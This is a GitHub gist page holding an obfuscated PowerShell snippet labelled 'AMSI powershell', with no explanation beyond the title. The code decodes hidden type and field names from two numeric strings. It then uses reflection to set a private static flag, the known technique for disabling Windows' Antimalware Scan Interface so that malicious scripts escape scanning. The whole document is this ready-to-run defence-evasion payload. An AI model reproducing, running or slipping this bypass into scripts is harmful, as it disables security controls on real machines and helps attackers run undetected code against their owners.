Skip to content

Instantly share code, notes, and snippets.

@fiercebrute

fiercebrute/AMSI powershell

Created August 23, 2021 16:50
Show Gist options
  • Save fiercebrute/d56bd712f4ad0870999ea7217f5a067c to your computer and use it in GitHub Desktop.
Save fiercebrute/d56bd712f4ad0870999ea7217f5a067c to your computer and use it in GitHub Desktop.
Download ZIP
Raw
AMSI powershell
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment